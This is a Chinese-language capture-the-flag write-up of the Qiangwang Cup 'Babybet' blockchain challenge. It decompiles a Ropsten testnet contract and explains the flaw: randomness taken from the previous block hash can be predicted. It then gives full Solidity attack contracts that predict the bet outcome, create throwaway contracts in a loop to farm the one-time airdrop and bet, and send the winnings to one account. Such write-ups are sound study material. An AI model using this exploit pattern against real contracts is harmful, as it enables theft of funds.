一、前言
前文介紹了強(qiáng)網(wǎng)杯區(qū)塊鏈第一道題目,本文將對第二道題目Babybet進(jìn)行深入分析。在比賽過程中,該題目并沒有許多人做出,相比于第一題來說本題目并沒有增加很大的難度,只是利用方法不同。本題目與第一道題目利用過程都很復(fù)雜,第一題需要不斷建立b1b1的賬戶,而本題目需要我們不斷進(jìn)行循環(huán)函數(shù)調(diào)用。
下面看我們詳細(xì)的分析。
二、題目分析
同第一題一樣,該問題給出合約地址以及部分合約文件。
0x5d1beefd4de611caff204e1a318039324575599a@ropsten,請使用自己隊(duì)伍的token獲取flag,否則flag無效
pragma solidity ^0.4.23;
contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
...
該合約包括余額變量與status變量,且包括發(fā)送flag事件。在發(fā)送flag函數(shù)中,語句要求函數(shù)調(diào)用者的余額>=1000000。且當(dāng)函數(shù)調(diào)用方不是owner時便會將余額賦值為0,并觸發(fā)事件。
當(dāng)然給出的合約中并沒有更多有價值的地方,所以我們還是需要選擇進(jìn)行逆向操作。
https://ropsten.etherscan.io/address/0x5d1beefd4de611caff204e1a318039324575599a
逆向得到關(guān)鍵函數(shù):
function status(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function profit() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x0a;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x01;
}
function bet(var arg0) {
var var0 = 0x00;
memory[var0:var0 + 0x20] = msg.sender;
memory[0x20:0x40] = var0;
var var1 = var0;
if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + ~0x09;
var0 = block.blockHash(block.number + ~0x00);
var1 = var0 % 0x03;
if (var1 != arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x03e8;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
}
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function func_048F(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
var temp1 = arg1;
storage[temp0] = storage[temp0] - temp1;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = temp1 + storage[temp2];
}
}
下面我們詳細(xì)對這些函數(shù)進(jìn)行分析:
首先是profit()函數(shù)。看到此函數(shù)我們就應(yīng)該立刻想到為空投函數(shù),該函數(shù)需要滿足status = 0,且當(dāng)調(diào)用此函數(shù)后,用戶余額會增加10 ,且status將變?yōu)? 。簡單來說,這種函數(shù)只能夠調(diào)用一次。
下面是bet函數(shù),該函數(shù)為合約的關(guān)鍵點(diǎn)。
var var0 = 0x00;
memory[var0:var0 + 0x20] = msg.sender;
memory[0x20:0x40] = var0;
var var1 = var0;
if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
該語句表示調(diào)用函數(shù)的賬戶的余額需要滿足<=10,否則無法調(diào)用。
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
該語句表示用戶的status需要滿足<2。
當(dāng)滿足上述兩個條件后,合約將計(jì)算一個隨機(jī)數(shù):
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + ~0x09;
var0 = block.blockHash(block.number + ~0x00);
var1 = var0 % 0x03;
該隨機(jī)數(shù)用正常表示如下:
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
由于調(diào)用bet函數(shù)需要用戶傳入一個參數(shù)arg0。當(dāng)arg0不等于隨機(jī)數(shù)時,合約直接將status設(shè)置為2 。否則將執(zhí)行關(guān)鍵過程,即讓用戶的余額+1000元。
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x03e8;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
并將status賦值為2 。此處的status為2后,則表示用戶無法再次調(diào)用bet函數(shù),所以這個函數(shù)只能被使用一次。
之后我們分析一個無法解析出名字的函數(shù) :func_048F()
function func_048F(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
var temp1 = arg1;
storage[temp0] = storage[temp0] - temp1;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = temp1 + storage[temp2];
}
該函數(shù)傳入兩個參數(shù)并滿足arg1需要大于余額,這也就是很明顯的轉(zhuǎn)賬函數(shù)。之后賬戶余額減少并使收款方余額增加。
基本上該合約的關(guān)鍵函數(shù)到此就分析結(jié)束,那么我們?nèi)绾芜M(jìn)行攻擊呢?如何才能獲取到100w的代幣?
我們發(fā)現(xiàn)合約中唯一能獲得錢的函數(shù)為bet。且只有1000塊。所以我們可以使用薅羊毛的做法進(jìn)行轉(zhuǎn)賬。我們的合約中存在打賭函數(shù)與轉(zhuǎn)賬函數(shù),所以我們的假設(shè)完全滿足。
我們知道,區(qū)塊鏈中如果不調(diào)用第三方庫那么便不會存在真正的隨機(jī)數(shù),此合約的隨機(jī)數(shù)便可以被預(yù)測。
即我們可以使用如下函數(shù)來達(dá)到與合約相同的隨機(jī)數(shù)預(yù)測:
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
之后我們傳入此隨機(jī)數(shù)便可以獲取到1000 。
于是我們一個羊應(yīng)該包括如下步驟:
target.profit();——>target.bet(guess1);——>transfer。下章中我們詳細(xì)進(jìn)行分析。
三、攻擊復(fù)現(xiàn)
攻擊合約如下:
pragma solidity ^0.4.23;
contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
function balance(address a) returns (uint b) {
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
function profit() {}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function bet(uint num) {}
}
contract midContract {
babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function process() public {
target.profit();
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
target.bet(guess1);
}
function transfer(address a, uint b) public{
// target.func_048F(a,b);
bytes4 method = 0xf0d25268;
target.call(method,a,b);
selfdestruct();
}
}
contract hack {
// babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function ffff() public {
for(int i=0;i<=100;i++){
midContract mid = new midContract();
mid.process();
mid.transfer("0x9b9a3xxxxxxxxxxxxxxxxxxxx",1000);
}
}
}
我們進(jìn)行函數(shù)的測試,看看是否可以真正預(yù)測隨機(jī)數(shù)。我們調(diào)用midContract中的process。

看到目前合約中的余額和status均為0 。調(diào)用函數(shù)后得到:

說明我們隨機(jī)數(shù)預(yù)測成功,那么后面就非常簡單了,即將process函數(shù)封裝并調(diào)用轉(zhuǎn)賬函數(shù)將合約中的1000轉(zhuǎn)給一個賬戶。
midContract mid = new midContract();
mid.process();
mid.transfer("0x9b9a30b7df47b9dbexxxxxxxxxxxxx",1000);
上述合約調(diào)用1000次即可。


調(diào)用后余額清空:

得到flag。
